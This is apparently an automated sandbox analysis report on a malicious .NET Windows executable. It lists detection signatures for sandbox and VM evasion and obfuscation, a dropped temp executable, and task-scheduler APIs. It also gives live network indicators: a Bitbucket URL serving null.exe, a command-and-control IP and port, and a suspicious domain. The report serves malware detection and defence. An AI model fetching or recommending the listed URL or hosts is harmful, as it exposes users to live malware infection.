Edit tour

Windows Analysis Report
fIPSLgT0lO.exe

Overview

General Information

Sample name:	fIPSLgT0lO.exe renamed because original name is a hash value
Original sample name:	3c4c48003d8ddf5dc37e44fb340e81951ccb473dbb548e9752b83c69291a54f1.exe
Analysis ID:	1573902
MD5:	016d22f02af7424e8d99c6c243adcdb7
SHA1:	1a4148700ab479b4c455a1eb9d5f48ac56799054
SHA256:	3c4c48003d8ddf5dc37e44fb340e81951ccb473dbb548e9752b83c69291a54f1
Tags:	181-131-217-244exeuser-JAMESWT_MHT
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

fIPSLgT0lO.exe (PID: 3020 cmdline: "C:\Users\user\Desktop\fIPSLgT0lO.exe" MD5: 016D22F02AF7424E8D99C6C243ADCDB7)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2930871276.0000000005B40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2929425687.0000000004532000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: fIPSLgT0lO.exe PID: 3020	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.fIPSLgT0lO.exe.45b7068.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.fIPSLgT0lO.exe.5b40000.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fIPSLgT0lO.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: fIPSLgT0lO.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: fIPSLgT0lO.exe

Joe Sandbox ML: detected

Source: fIPSLgT0lO.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: fIPSLgT0lO.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003474000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2931835613.0000000006460000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003474000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2931835613.0000000006460000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Ygdagggmo.pdb source: fIPSLgT0lO.exe, fIPSLgT0lO.exe, 00000000.00000002.2930414690.00000000059C0000.00000004.08000000.00040000.00000000.sdmp

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 181.131.217.244:30203

Source: global traffic

HTTP traffic detected: GET /facturacioncol/fact/downloads/null.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 181.131.217.244 181.131.217.244
Source: Joe Sandbox View	IP Address: 185.166.143.49 185.166.143.49

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /facturacioncol/fact/downloads/null.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: formationslistcomplet2.sexidude.com
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org

Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000367A000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003474000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/facturacioncol/fact/downloads/null.exe
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Source: unknown

HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.4:49731 version: TLS 1.2

System Summary

.NET source code contains very large array initializations

Source: fIPSLgT0lO.exe, IterableProxy.cs

Large array initialization: WaitForCentralProxy: array initializer size 544048

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_0197F960	0_2_0197F960
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_0197408C	0_2_0197408C
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_019717CF	0_2_019717CF
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_019717E0	0_2_019717E0
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_019746B0	0_2_019746B0
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01971DA8	0_2_01971DA8
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01971DE2	0_2_01971DE2
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01976F91	0_2_01976F91
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01976FA0	0_2_01976FA0
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01971EBD	0_2_01971EBD
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01971E0C	0_2_01971E0C
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01971E2C	0_2_01971E2C
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01971E40	0_2_01971E40
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_01971E68	0_2_01971E68
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BA3808	0_2_05BA3808
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BA03C7	0_2_05BA03C7
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BA1470	0_2_05BA1470
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BA06FF	0_2_05BA06FF
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC24D8	0_2_05BC24D8
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC7428	0_2_05BC7428
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC8762	0_2_05BC8762
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC56B0	0_2_05BC56B0
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCD191	0_2_05BCD191
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCA8E0	0_2_05BCA8E0
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC6B98	0_2_05BC6B98
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC0B58	0_2_05BC0B58
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC4A98	0_2_05BC4A98
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC24C8	0_2_05BC24C8
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCA430	0_2_05BCA430
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC7419	0_2_05BC7419
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC6068	0_2_05BC6068
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC6068	0_2_05BC6068
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC4DE0	0_2_05BC4DE0
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC6E15	0_2_05BC6E15
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCA98C	0_2_05BCA98C
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCA8E0	0_2_05BCA8E0
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCA8D1	0_2_05BCA8D1
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BC6B8B	0_2_05BC6B8B
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCCB1A	0_2_05BCCB1A
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BCA8E0	0_2_05BCA8E0

Source: fIPSLgT0lO.exe	Binary or memory string: OriginalFilename vs fIPSLgT0lO.exe
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003474000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs fIPSLgT0lO.exe
Source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs fIPSLgT0lO.exe
Source: fIPSLgT0lO.exe, 00000000.00000002.2927749638.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs fIPSLgT0lO.exe
Source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs fIPSLgT0lO.exe
Source: fIPSLgT0lO.exe, 00000000.00000002.2930414690.00000000059C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameYgdagggmo.dll" vs fIPSLgT0lO.exe
Source: fIPSLgT0lO.exe, 00000000.00000002.2931835613.0000000006460000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs fIPSLgT0lO.exe
Source: fIPSLgT0lO.exe	Binary or memory string: OriginalFilenameSzscawiqbxm.exe" vs fIPSLgT0lO.exe

Source: fIPSLgT0lO.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: fIPSLgT0lO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fIPSLgT0lO.exe, IterableProxy.cs	Cryptographic APIs: 'CreateDecryptor'
Source: fIPSLgT0lO.exe, ContextCalculator.cs	Cryptographic APIs: 'CreateDecryptor'
Source: fIPSLgT0lO.exe, ContextCalculator.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, C5FiG7MxadprkYOHlIn.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, C5FiG7MxadprkYOHlIn.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, C5FiG7MxadprkYOHlIn.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, C5FiG7MxadprkYOHlIn.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, HhHCZOrqTDfQTVEOXtS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, wkWHNFrXh0CxnxlXjUk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, zfhNj9d50qVDplTlqh.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, zfhNj9d50qVDplTlqh.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal84.evad.winEXE@1/0@11/2

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Mutant created: \Sessions\1\BaseNamedObjects\mono1234

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

File created: C:\Users\user\AppData\Local\Temp\pqyvmk.exe

Jump to behavior

Source: fIPSLgT0lO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fIPSLgT0lO.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fIPSLgT0lO.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

